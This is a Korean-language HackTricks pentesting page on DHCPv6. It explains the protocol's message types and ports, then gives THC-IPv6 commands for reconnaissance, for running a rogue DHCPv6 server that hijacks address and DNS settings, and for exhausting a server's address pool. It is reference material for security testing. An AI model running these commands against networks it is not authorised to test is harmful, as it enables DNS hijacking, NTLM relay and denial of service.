DHCPv6

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

DHCPv6 vs. DHCPv4 Message Types Comparison

아래 표는 DHCPv6와 DHCPv4 메시지 유형을 비교한 것입니다:

DHCPv6 Message TypeDHCPv4 Message Type
Solicit (1)DHCPDISCOVER
Advertise (2)DHCPOFFER
Request (3), Renew (5), Rebind (6)DHCPREQUEST
Reply (7)DHCPACK / DHCPNAK
Release (8)DHCPRELEASE
Information-Request (11)DHCPINFORM
Decline (9)DHCPDECLINE
Confirm (4)none
Reconfigure (10)DHCPFORCERENEW
Relay-Forw (12), Relay-Reply (13)none

DHCPv6 메시지 유형에 대한 자세한 설명:

  1. Solicit (1): DHCPv6 클라이언트가 사용 가능한 서버를 찾기 위해 시작하는 메시지입니다.
  2. Advertise (2): 서버가 Solicit에 응답해 DHCP 서비스를 제공할 수 있음을 알리는 메시지입니다.
  3. Request (3): 클라이언트가 특정 서버에 IP 주소 또는 프리픽스 할당을 요청할 때 사용합니다.
  4. Confirm (4): 클라이언트가 네트워크 변경 후 할당된 주소들이 여전히 유효한지 확인할 때 사용합니다.
  5. Renew (5): 클라이언트가 주소 수명 연장이나 구성 업데이트를 위해 원래 서버에 전송합니다.
  6. Rebind (6): Renew에 대한 응답이 없을 때 특히, 주소 수명 연장이나 구성 업데이트를 위해 임의의 서버에게 전송합니다.
  7. Reply (7): 서버가 주소·구성 파라미터를 제공하거나 Release/Decline 같은 메시지에 대한 확인 응답을 보낼 때 사용합니다.
  8. Release (8): 클라이언트가 하나 이상의 할당된 주소 사용을 중단하도록 서버에 알립니다.
  9. Decline (9): 클라이언트가 할당된 주소가 네트워크 상에서 충돌이 발생함을 보고할 때 전송합니다.
  10. Reconfigure (10): 서버가 클라이언트에게 새 구성이나 업데이트된 구성 적용을 위해 트랜잭션을 시작하도록 요청합니다.
  11. Information-Request (11): 클라이언트가 IP 주소 할당 없이 구성 파라미터만 요청할 때 사용합니다.
  12. Relay-Forw (12): 릴레이 에이전트가 메시지를 서버로 전달합니다.
  13. Relay-Repl (13): 서버가 릴레이 에이전트에 응답하면, 릴레이 에이전트가 이를 클라이언트에 전달합니다.

Quick Protocol Notes (공격 관점)

  • DHCPv6 클라이언트는 UDP 포트 546을 사용하고, 서버/릴레이는 UDP 포트 547을 사용합니다.
  • 클라이언트는 Solicit을 All_DHCP_Relay_Agents_and_Servers (ff02::1:2)로 전송합니다; 서버/릴레이는 해당 주소를 수신 대기합니다. All_DHCP_Serversff05::1:3입니다.
  • 클라이언트와 서버 식별자는 OPTION_CLIENTIDOPTION_SERVERIDDUIDs로 담깁니다. 이는 주소 변경 시에도 동일 호스트를 지문화(fingerprinting)하는 데 유용합니다.
  • 주소 할당은 IA_NA (non-temporary address)로 요청하고, 프리픽스 위임은 IA_PD (downstream router prefix)로 요청합니다.

Quick Recon

# Basic DHCPv6 traffic capture
sudo tcpdump -vvv -i <IFACE> 'udp port 546 or udp port 547'

# THC-IPv6: discover DHCPv6 servers and their options
sudo atk6-dump_dhcp6 <IFACE>

악성 DHCPv6 서버 (주소/DNS 하이재킹)

# THC-IPv6: rogue DHCPv6 server advertising address + DNS
sudo atk6-fake_dhcps6 <IFACE> <PREFIX>/<LEN> <DNSv6>

이것은 일반적인 on-link rogue DHCPv6 서버입니다. Windows/AD 네트워크에서는 NTLM relay primitives를 원하면 이를 higher-level relays (IPv6 페이지 참조)와 함께 사용하세요.

풀 소진 / DHCPv6 고갈

# THC-IPv6: exhaust the server's address pool
sudo atk6-flood_dhcpc6 <IFACE>

Reconfigure 메시지 주의사항

DHCPv6 Reconfigure는 무턱대고 수락되지 않습니다: 클라이언트는 명시적으로 OPTION_RECONF_ACCEPT를 보낸 경우에만 이를 수락합니다. 기본적으로 클라이언트는 Reconfigure 메시지를 수락하려 하지 않습니다, 따라서 해당 옵션을 관찰하거나 유도하지 않으면 불확실한 Reconfigure 공격은 종종 실패합니다.

Pentesting IPv6

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기